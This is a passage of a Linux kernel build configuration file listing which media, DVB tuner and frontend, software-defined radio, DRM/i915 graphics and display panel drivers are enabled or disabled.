CONFIG_DVB_USB_PCTV452E=y
CONFIG_DVB_USB_TECHNISAT_USB2=y
CONFIG_DVB_USB_TTUSB2=y
CONFIG_DVB_USB_UMT_010=y
CONFIG_DVB_USB_VP702X=y
CONFIG_DVB_USB_VP7045=y
CONFIG_SMS_USB_DRV=y
CONFIG_DVB_TTUSB_BUDGET=y
CONFIG_DVB_TTUSB_DEC=y

#
# Webcam, TV (analog/digital) USB devices
#
CONFIG_VIDEO_EM28XX=y
CONFIG_VIDEO_EM28XX_V4L2=y
CONFIG_VIDEO_EM28XX_ALSA=y
CONFIG_VIDEO_EM28XX_DVB=y
CONFIG_VIDEO_EM28XX_RC=y

#
# Software defined radio USB devices
#
CONFIG_USB_AIRSPY=y
CONFIG_USB_HACKRF=y
CONFIG_USB_MSI2500=y
# CONFIG_MEDIA_PCI_SUPPORT is not set
CONFIG_RADIO_ADAPTERS=y
# CONFIG_RADIO_MAXIRADIO is not set
# CONFIG_RADIO_SAA7706H is not set
CONFIG_RADIO_SHARK=y
CONFIG_RADIO_SHARK2=y
CONFIG_RADIO_SI4713=y
CONFIG_RADIO_TEA575X=y
# CONFIG_RADIO_TEA5764 is not set
# CONFIG_RADIO_TEF6862 is not set
CONFIG_USB_DSBR=y
CONFIG_USB_KEENE=y
CONFIG_USB_MA901=y
CONFIG_USB_MR800=y
CONFIG_USB_RAREMONO=y
CONFIG_RADIO_SI470X=y
CONFIG_USB_SI470X=y
# CONFIG_I2C_SI470X is not set
CONFIG_USB_SI4713=y
# CONFIG_PLATFORM_SI4713 is not set
CONFIG_I2C_SI4713=y
# CONFIG_MEDIA_PLATFORM_DRIVERS is not set

#
# MMC/SDIO DVB adapters
#
CONFIG_SMS_SDIO_DRV=y
CONFIG_V4L_TEST_DRIVERS=y
CONFIG_VIDEO_VIM2M=y
CONFIG_VIDEO_VICODEC=y
CONFIG_VIDEO_VIMC=y
CONFIG_VIDEO_VIVID=y
CONFIG_VIDEO_VIVID_CEC=y
# CONFIG_VIDEO_VIVID_OSD is not set
CONFIG_VIDEO_VIVID_MAX_DEVS=64
# CONFIG_VIDEO_VISL is not set
CONFIG_DVB_TEST_DRIVERS=y
CONFIG_DVB_VIDTV=y

#
# FireWire (IEEE 1394) Adapters
#
# CONFIG_DVB_FIREDTV is not set
CONFIG_MEDIA_COMMON_OPTIONS=y

#
# common driver options
#
CONFIG_CYPRESS_FIRMWARE=y
CONFIG_TTPCI_EEPROM=y
CONFIG_UVC_COMMON=y
CONFIG_VIDEO_CX2341X=y
CONFIG_VIDEO_TVEEPROM=y
CONFIG_DVB_B2C2_FLEXCOP=y
CONFIG_SMS_SIANO_MDTV=y
CONFIG_SMS_SIANO_RC=y
CONFIG_SMS_SIANO_DEBUGFS=y
CONFIG_VIDEO_V4L2_TPG=y
CONFIG_VIDEOBUF2_CORE=y
CONFIG_VIDEOBUF2_V4L2=y
CONFIG_VIDEOBUF2_MEMOPS=y
CONFIG_VIDEOBUF2_DMA_CONTIG=y
CONFIG_VIDEOBUF2_VMALLOC=y
CONFIG_VIDEOBUF2_DMA_SG=y
# end of Media drivers

#
# Media ancillary drivers
#
CONFIG_MEDIA_ATTACH=y
# CONFIG_VIDEO_IR_I2C is not set
# CONFIG_VIDEO_CAMERA_SENSOR is not set

#
# Camera ISPs
#
# CONFIG_VIDEO_THP7312 is not set
# end of Camera ISPs

# CONFIG_VIDEO_CAMERA_LENS is not set

#
# Flash devices
#
# CONFIG_VIDEO_ADP1653 is not set
# CONFIG_VIDEO_LM3560 is not set
# CONFIG_VIDEO_LM3646 is not set
# end of Flash devices

#
# Audio decoders, processors and mixers
#
# CONFIG_VIDEO_CS3308 is not set
# CONFIG_VIDEO_CS5345 is not set
CONFIG_VIDEO_CS53L32A=y
CONFIG_VIDEO_MSP3400=y
# CONFIG_VIDEO_SONY_BTF_MPX is not set
# CONFIG_VIDEO_TDA1997X is not set
# CONFIG_VIDEO_TDA7432 is not set
# CONFIG_VIDEO_TDA9840 is not set
# CONFIG_VIDEO_TEA6415C is not set
# CONFIG_VIDEO_TEA6420 is not set
# CONFIG_VIDEO_TLV320AIC23B is not set
# CONFIG_VIDEO_TVAUDIO is not set
# CONFIG_VIDEO_UDA1342 is not set
# CONFIG_VIDEO_VP27SMPX is not set
# CONFIG_VIDEO_WM8739 is not set
CONFIG_VIDEO_WM8775=y
# end of Audio decoders, processors and mixers

#
# RDS decoders
#
# CONFIG_VIDEO_SAA6588 is not set
# end of RDS decoders

#
# Video decoders
#
# CONFIG_VIDEO_ADV7180 is not set
# CONFIG_VIDEO_ADV7183 is not set
# CONFIG_VIDEO_ADV748X is not set
# CONFIG_VIDEO_ADV7604 is not set
# CONFIG_VIDEO_ADV7842 is not set
# CONFIG_VIDEO_BT819 is not set
# CONFIG_VIDEO_BT856 is not set
# CONFIG_VIDEO_BT866 is not set
# CONFIG_VIDEO_ISL7998X is not set
# CONFIG_VIDEO_LT6911UXE is not set
# CONFIG_VIDEO_KS0127 is not set
# CONFIG_VIDEO_MAX9286 is not set
# CONFIG_VIDEO_ML86V7667 is not set
# CONFIG_VIDEO_SAA7110 is not set
CONFIG_VIDEO_SAA711X=y
# CONFIG_VIDEO_TC358743 is not set
# CONFIG_VIDEO_TC358746 is not set
# CONFIG_VIDEO_TVP514X is not set
# CONFIG_VIDEO_TVP5150 is not set
# CONFIG_VIDEO_TVP7002 is not set
# CONFIG_VIDEO_TW2804 is not set
# CONFIG_VIDEO_TW9900 is not set
# CONFIG_VIDEO_TW9903 is not set
# CONFIG_VIDEO_TW9906 is not set
# CONFIG_VIDEO_TW9910 is not set
# CONFIG_VIDEO_VPX3220 is not set

#
# Video and audio decoders
#
# CONFIG_VIDEO_SAA717X is not set
CONFIG_VIDEO_CX25840=y
# end of Video decoders

#
# Video encoders
#
# CONFIG_VIDEO_ADV7170 is not set
# CONFIG_VIDEO_ADV7175 is not set
# CONFIG_VIDEO_ADV7343 is not set
# CONFIG_VIDEO_ADV7393 is not set
# CONFIG_VIDEO_ADV7511 is not set
# CONFIG_VIDEO_AK881X is not set
# CONFIG_VIDEO_SAA7127 is not set
# CONFIG_VIDEO_SAA7185 is not set
# CONFIG_VIDEO_THS8200 is not set
# end of Video encoders

#
# Video improvement chips
#
# CONFIG_VIDEO_UPD64031A is not set
# CONFIG_VIDEO_UPD64083 is not set
# end of Video improvement chips

#
# Audio/Video compression chips
#
# CONFIG_VIDEO_SAA6752HS is not set
# end of Audio/Video compression chips

#
# SDR tuner chips
#
# CONFIG_SDR_MAX2175 is not set
# end of SDR tuner chips

#
# Miscellaneous helper chips
#
# CONFIG_VIDEO_INTEL_CVS is not set
# CONFIG_VIDEO_I2C is not set
# CONFIG_VIDEO_M52790 is not set
# CONFIG_VIDEO_ST_MIPID02 is not set
# CONFIG_VIDEO_THS7303 is not set
# end of Miscellaneous helper chips

#
# Video serializers and deserializers
#
# CONFIG_VIDEO_DS90UB913 is not set
# CONFIG_VIDEO_DS90UB953 is not set
# CONFIG_VIDEO_DS90UB960 is not set
# CONFIG_VIDEO_MAX96714 is not set
# CONFIG_VIDEO_MAX96717 is not set
# end of Video serializers and deserializers

#
# Media SPI Adapters
#
# CONFIG_CXD2880_SPI_DRV is not set
# CONFIG_VIDEO_GS1662 is not set
# end of Media SPI Adapters

CONFIG_MEDIA_TUNER=y

#
# Customize TV tuners
#
# CONFIG_MEDIA_TUNER_E4000 is not set
# CONFIG_MEDIA_TUNER_FC0011 is not set
# CONFIG_MEDIA_TUNER_FC0012 is not set
# CONFIG_MEDIA_TUNER_FC0013 is not set
# CONFIG_MEDIA_TUNER_FC2580 is not set
# CONFIG_MEDIA_TUNER_IT913X is not set
# CONFIG_MEDIA_TUNER_M88RS6000T is not set
# CONFIG_MEDIA_TUNER_MAX2165 is not set
# CONFIG_MEDIA_TUNER_MC44S803 is not set
CONFIG_MEDIA_TUNER_MSI001=y
# CONFIG_MEDIA_TUNER_MT2060 is not set
# CONFIG_MEDIA_TUNER_MT2063 is not set
# CONFIG_MEDIA_TUNER_MT20XX is not set
# CONFIG_MEDIA_TUNER_MT2131 is not set
# CONFIG_MEDIA_TUNER_MT2266 is not set
# CONFIG_MEDIA_TUNER_MXL301RF is not set
# CONFIG_MEDIA_TUNER_MXL5005S is not set
# CONFIG_MEDIA_TUNER_MXL5007T is not set
# CONFIG_MEDIA_TUNER_QM1D1B0004 is not set
# CONFIG_MEDIA_TUNER_QM1D1C0042 is not set
# CONFIG_MEDIA_TUNER_QT1010 is not set
# CONFIG_MEDIA_TUNER_R820T is not set
# CONFIG_MEDIA_TUNER_SI2157 is not set
# CONFIG_MEDIA_TUNER_SIMPLE is not set
# CONFIG_MEDIA_TUNER_TDA18212 is not set
# CONFIG_MEDIA_TUNER_TDA18218 is not set
# CONFIG_MEDIA_TUNER_TDA18250 is not set
# CONFIG_MEDIA_TUNER_TDA18271 is not set
# CONFIG_MEDIA_TUNER_TDA827X is not set
# CONFIG_MEDIA_TUNER_TDA8290 is not set
# CONFIG_MEDIA_TUNER_TDA9887 is not set
# CONFIG_MEDIA_TUNER_TEA5761 is not set
# CONFIG_MEDIA_TUNER_TEA5767 is not set
# CONFIG_MEDIA_TUNER_TUA9001 is not set
# CONFIG_MEDIA_TUNER_XC2028 is not set
# CONFIG_MEDIA_TUNER_XC4000 is not set
# CONFIG_MEDIA_TUNER_XC5000 is not set
# end of Customize TV tuners

#
# Customise DVB Frontends
#

#
# Multistandard (satellite) frontends
#
# CONFIG_DVB_M88DS3103 is not set
# CONFIG_DVB_MXL5XX is not set
# CONFIG_DVB_STB0899 is not set
# CONFIG_DVB_STB6100 is not set
# CONFIG_DVB_STV090x is not set
# CONFIG_DVB_STV0910 is not set
# CONFIG_DVB_STV6110x is not set
# CONFIG_DVB_STV6111 is not set

#
# Multistandard (cable + terrestrial) frontends
#
# CONFIG_DVB_DRXK is not set
# CONFIG_DVB_MN88472 is not set
# CONFIG_DVB_MN88473 is not set
# CONFIG_DVB_SI2165 is not set
# CONFIG_DVB_TDA18271C2DD is not set

#
# DVB-S (satellite) frontends
#
# CONFIG_DVB_CX24110 is not set
# CONFIG_DVB_CX24116 is not set
# CONFIG_DVB_CX24117 is not set
# CONFIG_DVB_CX24120 is not set
# CONFIG_DVB_CX24123 is not set
# CONFIG_DVB_DS3000 is not set
# CONFIG_DVB_MB86A16 is not set
# CONFIG_DVB_MT312 is not set
# CONFIG_DVB_S5H1420 is not set
# CONFIG_DVB_SI21XX is not set
# CONFIG_DVB_STB6000 is not set
# CONFIG_DVB_STV0288 is not set
# CONFIG_DVB_STV0299 is not set
# CONFIG_DVB_STV0900 is not set
# CONFIG_DVB_STV6110 is not set
# CONFIG_DVB_TDA10071 is not set
# CONFIG_DVB_TDA10086 is not set
# CONFIG_DVB_TDA8083 is not set
# CONFIG_DVB_TDA8261 is not set
# CONFIG_DVB_TDA826X is not set
# CONFIG_DVB_TS2020 is not set
# CONFIG_DVB_TUA6100 is not set
# CONFIG_DVB_TUNER_CX24113 is not set
# CONFIG_DVB_TUNER_ITD1000 is not set
# CONFIG_DVB_VES1X93 is not set
# CONFIG_DVB_ZL10036 is not set
# CONFIG_DVB_ZL10039 is not set

#
# DVB-T (terrestrial) frontends
#
CONFIG_DVB_AF9013=y
CONFIG_DVB_AS102_FE=y
# CONFIG_DVB_CX22700 is not set
# CONFIG_DVB_CX22702 is not set
# CONFIG_DVB_CXD2820R is not set
# CONFIG_DVB_CXD2841ER is not set
CONFIG_DVB_DIB3000MB=y
CONFIG_DVB_DIB3000MC=y
# CONFIG_DVB_DIB7000M is not set
# CONFIG_DVB_DIB7000P is not set
# CONFIG_DVB_DIB9000 is not set
# CONFIG_DVB_DRXD is not set
CONFIG_DVB_EC100=y
CONFIG_DVB_GP8PSK_FE=y
# CONFIG_DVB_L64781 is not set
# CONFIG_DVB_MT352 is not set
# CONFIG_DVB_NXT6000 is not set
CONFIG_DVB_RTL2830=y
CONFIG_DVB_RTL2832=y
CONFIG_DVB_RTL2832_SDR=y
# CONFIG_DVB_S5H1432 is not set
# CONFIG_DVB_SI2168 is not set
# CONFIG_DVB_SP887X is not set
# CONFIG_DVB_STV0367 is not set
# CONFIG_DVB_TDA10048 is not set
# CONFIG_DVB_TDA1004X is not set
# CONFIG_DVB_ZD1301_DEMOD is not set
CONFIG_DVB_ZL10353=y
# CONFIG_DVB_CXD2880 is not set

#
# DVB-C (cable) frontends
#
# CONFIG_DVB_STV0297 is not set
# CONFIG_DVB_TDA10021 is not set
# CONFIG_DVB_TDA10023 is not set
# CONFIG_DVB_VES1820 is not set

#
# ATSC (North American/Korean Terrestrial/Cable DTV) frontends
#
# CONFIG_DVB_AU8522_DTV is not set
# CONFIG_DVB_AU8522_V4L is not set
# CONFIG_DVB_BCM3510 is not set
# CONFIG_DVB_LG2160 is not set
# CONFIG_DVB_LGDT3305 is not set
# CONFIG_DVB_LGDT3306A is not set
# CONFIG_DVB_LGDT330X is not set
# CONFIG_DVB_MXL692 is not set
# CONFIG_DVB_NXT200X is not set
# CONFIG_DVB_OR51132 is not set
# CONFIG_DVB_OR51211 is not set
# CONFIG_DVB_S5H1409 is not set
# CONFIG_DVB_S5H1411 is not set

#
# ISDB-T (terrestrial) frontends
#
# CONFIG_DVB_DIB8000 is not set
# CONFIG_DVB_MB86A20S is not set
# CONFIG_DVB_S921 is not set

#
# ISDB-S (satellite) & ISDB-T (terrestrial) frontends
#
# CONFIG_DVB_MN88443X is not set
# CONFIG_DVB_TC90522 is not set

#
# Digital terrestrial only tuners/PLL
#
# CONFIG_DVB_PLL is not set
# CONFIG_DVB_TUNER_DIB0070 is not set
# CONFIG_DVB_TUNER_DIB0090 is not set

#
# SEC control devices for DVB-S
#
# CONFIG_DVB_A8293 is not set
CONFIG_DVB_AF9033=y
# CONFIG_DVB_ASCOT2E is not set
# CONFIG_DVB_ATBM8830 is not set
# CONFIG_DVB_HELENE is not set
# CONFIG_DVB_HORUS3A is not set
# CONFIG_DVB_ISL6405 is not set
# CONFIG_DVB_ISL6421 is not set
# CONFIG_DVB_ISL6423 is not set
# CONFIG_DVB_IX2505V is not set
# CONFIG_DVB_LGS8GL5 is not set
# CONFIG_DVB_LGS8GXX is not set
# CONFIG_DVB_LNBH25 is not set
# CONFIG_DVB_LNBH29 is not set
# CONFIG_DVB_LNBP21 is not set
# CONFIG_DVB_LNBP22 is not set
# CONFIG_DVB_M88RS2000 is not set
# CONFIG_DVB_TDA665x is not set
# CONFIG_DVB_DRX39XYJ is not set

#
# Common Interface (EN50221) controller drivers
#
# CONFIG_DVB_CXD2099 is not set
# CONFIG_DVB_SP2 is not set
# end of Customise DVB Frontends

#
# Tools to develop new frontends
#
# CONFIG_DVB_DUMMY_FE is not set
# end of Media ancillary drivers

#
# Graphics support
#
CONFIG_APERTURE_HELPERS=y
CONFIG_SCREEN_INFO=y
CONFIG_VIDEO=y
# CONFIG_AUXDISPLAY is not set
# CONFIG_PANEL is not set
CONFIG_AGP=y
CONFIG_AGP_AMD64=y
CONFIG_AGP_INTEL=y
# CONFIG_AGP_SIS is not set
# CONFIG_AGP_VIA is not set
CONFIG_INTEL_GTT=y
# CONFIG_VGA_SWITCHEROO is not set
CONFIG_GPU_BUDDY=y
CONFIG_DRM=y

#
# DRM debugging options
#
# CONFIG_DRM_WERROR is not set
CONFIG_DRM_DEBUG_MM=y
# end of DRM debugging options

CONFIG_DRM_MIPI_DSI=y
CONFIG_DRM_KMS_HELPER=y
# CONFIG_DRM_PANIC is not set
# CONFIG_DRM_RAS is not set
# CONFIG_DRM_DEBUG_DP_MST_TOPOLOGY_REFS is not set
# CONFIG_DRM_DEBUG_MODESET_LOCK is not set
CONFIG_DRM_CLIENT=y
CONFIG_DRM_CLIENT_LIB=y
CONFIG_DRM_CLIENT_SELECTION=y
CONFIG_DRM_CLIENT_SETUP=y

#
# Supported DRM clients
#
CONFIG_DRM_FBDEV_EMULATION=y
CONFIG_DRM_FBDEV_OVERALLOC=100
# CONFIG_DRM_FBDEV_LEAK_PHYS_SMEM is not set
# CONFIG_DRM_CLIENT_LOG is not set
CONFIG_DRM_CLIENT_DEFAULT_FBDEV=y
CONFIG_DRM_CLIENT_DEFAULT="fbdev"
# end of Supported DRM clients

# CONFIG_DRM_LOAD_EDID_FIRMWARE is not set
CONFIG_DRM_DISPLAY_DP_AUX_BUS=y
CONFIG_DRM_DISPLAY_HELPER=y
# CONFIG_DRM_DISPLAY_DP_AUX_CEC is not set
# CONFIG_DRM_DISPLAY_DP_AUX_CHARDEV is not set
CONFIG_DRM_DISPLAY_DP_HELPER=y
CONFIG_DRM_DISPLAY_DSC_HELPER=y
CONFIG_DRM_DISPLAY_HDCP_HELPER=y
CONFIG_DRM_DISPLAY_HDMI_HELPER=y
CONFIG_DRM_TTM=y
CONFIG_DRM_BUDDY=y
CONFIG_DRM_TTM_HELPER=y
CONFIG_DRM_GEM_SHMEM_HELPER=y
# CONFIG_DRM_AMDGPU is not set

#
# ARM devices
#
# CONFIG_DRM_KOMEDA is not set
# end of ARM devices

# CONFIG_DRM_AST is not set
CONFIG_DRM_BRIDGE=y
CONFIG_DRM_PANEL_BRIDGE=y
CONFIG_DRM_AUX_BRIDGE=y
CONFIG_DRM_AUX_HPD_BRIDGE=y

#
# Display Interface Bridges
#
# CONFIG_DRM_CHIPONE_ICN6211 is not set
# CONFIG_DRM_CHRONTEL_CH7033 is not set
# CONFIG_DRM_DISPLAY_CONNECTOR is not set
# CONFIG_DRM_I2C_NXP_TDA998X is not set
# CONFIG_DRM_ITE_IT6263 is not set
# CONFIG_DRM_ITE_IT6505 is not set
# CONFIG_DRM_LONTIUM_LT8912B is not set
# CONFIG_DRM_LONTIUM_LT9211 is not set
# CONFIG_DRM_LONTIUM_LT9611 is not set
# CONFIG_DRM_LONTIUM_LT9611UXC is not set
# CONFIG_DRM_LONTIUM_LT8713SX is not set
# CONFIG_DRM_ITE_IT66121 is not set
# CONFIG_DRM_LVDS_CODEC is not set
# CONFIG_DRM_MEGACHIPS_STDPXXXX_GE_B850V3_FW is not set
# CONFIG_DRM_NWL_MIPI_DSI is not set
# CONFIG_DRM_NXP_PTN3460 is not set
# CONFIG_DRM_PARADE_PS8622 is not set
# CONFIG_DRM_PARADE_PS8640 is not set
# CONFIG_DRM_SAMSUNG_DSIM is not set
# CONFIG_DRM_SIL_SII8620 is not set
# CONFIG_DRM_SII902X is not set
# CONFIG_DRM_SII9234 is not set
# CONFIG_DRM_SIMPLE_BRIDGE is not set
# CONFIG_DRM_SOLOMON_SSD2825 is not set
# CONFIG_DRM_THINE_THC63LVD1024 is not set
# CONFIG_DRM_TOSHIBA_TC358762 is not set
# CONFIG_DRM_TOSHIBA_TC358764 is not set
# CONFIG_DRM_TOSHIBA_TC358767 is not set
# CONFIG_DRM_TOSHIBA_TC358768 is not set
# CONFIG_DRM_TOSHIBA_TC358775 is not set
# CONFIG_DRM_TI_DLPC3433 is not set
# CONFIG_DRM_TI_TDP158 is not set
# CONFIG_DRM_TI_TFP410 is not set
# CONFIG_DRM_TI_SN65DSI83 is not set
# CONFIG_DRM_TI_SN65DSI86 is not set
# CONFIG_DRM_TI_TPD12S015 is not set
# CONFIG_DRM_WAVESHARE_BRIDGE is not set
# CONFIG_DRM_ANALOGIX_ANX6345 is not set
# CONFIG_DRM_ANALOGIX_ANX78XX is not set
# CONFIG_DRM_ANALOGIX_ANX7625 is not set
# CONFIG_DRM_I2C_ADV7511 is not set
# CONFIG_DRM_CDNS_DSI is not set
# CONFIG_DRM_CDNS_MHDP8546 is not set
# end of Display Interface Bridges

# CONFIG_DRM_ETNAVIV is not set
# CONFIG_DRM_GMA500 is not set
CONFIG_DRM_GUD=y
# CONFIG_DRM_HISI_HIBMC is not set
CONFIG_DRM_I915=y
CONFIG_DRM_I915_FORCE_PROBE=""
CONFIG_DRM_I915_CAPTURE_ERROR=y
CONFIG_DRM_I915_COMPRESS_ERROR=y
CONFIG_DRM_I915_USERPTR=y
# CONFIG_DRM_I915_GVT_KVMGT is not set
# CONFIG_DRM_I915_DP_TUNNEL is not set

#
# drm/i915 Debugging
#
# CONFIG_DRM_I915_WERROR is not set
# CONFIG_DRM_I915_REPLAY_GPU_HANGS_API is not set
# CONFIG_DRM_I915_DEBUG is not set
# CONFIG_DRM_I915_DEBUG_MMIO is not set
# CONFIG_DRM_I915_SW_FENCE_DEBUG_OBJECTS is not set
# CONFIG_DRM_I915_SW_FENCE_CHECK_DAG is not set
# CONFIG_DRM_I915_DEBUG_GUC is not set
# CONFIG_DRM_I915_SELFTEST is not set
# CONFIG_DRM_I915_LOW_LEVEL_TRACEPOINTS is not set
# CONFIG_DRM_I915_DEBUG_VBLANK_EVADE is not set
# CONFIG_DRM_I915_DEBUG_RUNTIME_PM is not set
# CONFIG_DRM_I915_DEBUG_WAKEREF is not set
# end of drm/i915 Debugging

#
# drm/i915 Profile Guided Optimisation
#
CONFIG_DRM_I915_REQUEST_TIMEOUT=20000
CONFIG_DRM_I915_FENCE_TIMEOUT=10000
CONFIG_DRM_I915_USERFAULT_AUTOSUSPEND=250
CONFIG_DRM_I915_HEARTBEAT_INTERVAL=2500
CONFIG_DRM_I915_PREEMPT_TIMEOUT=640
CONFIG_DRM_I915_PREEMPT_TIMEOUT_COMPUTE=7500
CONFIG_DRM_I915_MAX_REQUEST_BUSYWAIT=8000
CONFIG_DRM_I915_STOP_TIMEOUT=100
CONFIG_DRM_I915_TIMESLICE_DURATION=1
# end of drm/i915 Profile Guided Optimisation

# CONFIG_DRM_LOGICVC is not set
# CONFIG_DRM_MGAG200 is not set
# CONFIG_DRM_NOUVEAU is not set
CONFIG_DRM_PANEL=y

#
# Display Panels
#
# CONFIG_DRM_PANEL_ABT_Y030XX067A is not set
# CONFIG_DRM_PANEL_ARM_VERSATILE is not set
# CONFIG_DRM_PANEL_ASUS_Z00T_TM5P5_NT35596 is not set
# CONFIG_DRM_PANEL_AUO_A030JTN01 is not set
# CONFIG_DRM_PANEL_BOE_BF060Y8M_AJ0 is not set
# CONFIG_DRM_PANEL_BOE_HIMAX8279D is not set
# CONFIG_DRM_PANEL_BOE_TD4320 is not set
# CONFIG_DRM_PANEL_BOE_TH101MB31UIG002_28A is not set
# CONFIG_DRM_PANEL_BOE_TV101WUM_NL6 is not set
# CONFIG_DRM_PANEL_BOE_TV101WUM_LL2 is not set
# CONFIG_DRM_PANEL_CHIPWEALTH_CH13726A is not set
# CONFIG_DRM_PANEL_EBBG_FT8719 is not set
# CONFIG_DRM_PANEL_ELIDA_KD35T133 is not set
# CONFIG_DRM_PANEL_FEIXIN_K101_IM2BA02 is not set
# CONFIG_DRM_PANEL_FEIYANG_FY07024DI26A30D is not set
# CONFIG_DRM_PANEL_FOCALTECH_OTA7290B is not set
# CONFIG_DRM_PANEL_DSI_CM is not set
# CONFIG_DRM_PANEL_LVDS is not set
# CONFIG_DRM_PANEL_HIMAX_HX8279 is not set
# CONFIG_DRM_PANEL_HIMAX_HX83102 is not set
# CONFIG_DRM_PANEL_HIMAX_HX83112A is not set
# CONFIG_DRM_PANEL_HIMAX_HX83112B is not set
# CONFIG_DRM_PANEL_HIMAX_HX83121A is not set
# CONFIG_DRM_PANEL_HIMAX_HX8394 is not set
# CONFIG_DRM_PANEL_HYDIS_HV101HD1 is not set
# CONFIG_DRM_PANEL_ILITEK_IL9322 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9341 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9805 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9806E_DSI is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9806E_SPI is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9881C is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9882T is not set
# CONFIG_DRM_PANEL_INNOLUX_EJ030NA is not set
# CONFIG_DRM_PANEL_INNOLUX_P079ZCA is not set
# CONFIG_DRM_PANEL_JADARD_JD9365DA_H3 is not set
# CONFIG_DRM_PANEL_JDI_LPM102A188A is not set
# CONFIG_DRM_PANEL_JDI_LT070ME05000 is not set
# CONFIG_DRM_PANEL_JDI_R63452 is not set
# CONFIG_DRM_PANEL_KHADAS_TS050 is not set
# CONFIG_DRM_PANEL_KINGDISPLAY_KD097D04 is not set
# CONFIG_DRM_PANEL_LEADTEK_LTK050H3146W is not set
# CONFIG_DRM_PANEL_LEADTEK_LTK500HD1829 is not set
# CONFIG_DRM_PANEL_LINCOLNTECH_LCD197 is not set
# CONFIG_DRM_PANEL_LG_LB035Q02 is not set
# CONFIG_DRM_PANEL_LG_LD070WX3 is not set
# CONFIG_DRM_PANEL_LG_LG4573 is not set
# CONFIG_DRM_PANEL_LG_SW43408 is not set
# CONFIG_DRM_PANEL_LXD_M9189A is not set
# CONFIG_DRM_PANEL_MAGNACHIP_D53E6EA8966 is not set
# CONFIG_DRM_PANEL_MANTIX_MLAF057WE51 is not set
# CONFIG_DRM_PANEL_MOTOROLA_MOT is not set
# CONFIG_DRM_PANEL_NEC_NL8048HL11 is not set
# CONFIG_DRM_PANEL_NEWVISION_NV3051D is not set
# CONFIG_DRM_PANEL_NEWVISION_NV3052C is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35510 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35532 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35560 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35950 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36523 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36672A is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36672E is not set
# CONFIG_DRM_PANEL_NOVATEK_NT37700F is not set
# CONFIG_DRM_PANEL_NOVATEK_NT37801 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT39016 is not set
# CONFIG_DRM_PANEL_OLIMEX_LCD_OLINUXINO is not set
# CONFIG_DRM_PANEL_ORISETECH_OTA5601A is not set
# CONFIG_DRM_PANEL_ORISETECH_OTM8009A is not set
# CONFIG_DRM_PANEL_OSD_OSD101T2587_53TS is not set
# CONFIG_DRM_PANEL_PANASONIC_VVX10F034N00 is not set
# CONFIG_DRM_PANEL_RASPBERRYPI_TOUCHSCREEN is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM67191 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM67200 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM68200 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM692E5 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM69380 is not set
# CONFIG_DRM_PANEL_RENESAS_R61307 is not set
# CONFIG_DRM_PANEL_RENESAS_R69328 is not set
# CONFIG_DRM_PANEL_RONBO_RB070D30 is not set
# CONFIG_DRM_PANEL_SAMSUNG_AMS581VF01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_AMS639RQ08 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E88A0_AMS427AP24 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E88A0_AMS452EF01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_ATNA33XC20 is not set
# CONFIG_DRM_PANEL_SAMSUNG_DB7430 is not set
# CONFIG_DRM_PANEL_SAMSUNG_LD9040 is not set
# CONFIG_DRM_PANEL_SAMSUNG_LTL106HL02 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3FA7 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D16D0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D27A1 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D7AA0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3FC2X01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3HA2 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3HA8 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E63J0X03 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E63M0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8AA0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8AA5X01_AMS561RA01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8FC0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_SOFEF00 is not set
# CONFIG_DRM_PANEL_SEIKO_43WVF1G is not set
# CONFIG_DRM_PANEL_SHARP_LQ079L1SX01 is not set
# CONFIG_DRM_PANEL_SHARP_LQ101R1SX01 is not set
# CONFIG_DRM_PANEL_SHARP_LS037V7DW01 is not set
# CONFIG_DRM_PANEL_SHARP_LS043T1LE01 is not set
# CONFIG_DRM_PANEL_SHARP_LS060T1SX01 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7701 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7703 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7789V is not set
# CONFIG_DRM_PANEL_SONY_ACX565AKM is not set
# CONFIG_DRM_PANEL_SONY_TD4353_JDI is not set
# CONFIG_DRM_PANEL_SONY_TULIP_TRULY_NT35521 is not set
# CONFIG_DRM_PANEL_STARTEK_KD070FHFID015 is not set
CONFIG_DRM_PANEL_EDP=y
# CONFIG_DRM_PANEL_SIMPLE is not set
# CONFIG_DRM_PANEL_SUMMIT is not set
# CONFIG_DRM_PANEL_SYNAPTICS_R63353 is not set
# CONFIG_DRM_PANEL_SYNAPTICS_TDDI is not set
# CONFIG_DRM_PANEL_TDO_TL070WSH30 is not set
# CONFIG_DRM_PANEL_TPO_TD028TTEC1 is not set
# CONFIG_DRM_PANEL_TPO_TD043MTEA1 is not set
# CONFIG_DRM_PANEL_TPO_TPG110 is not set
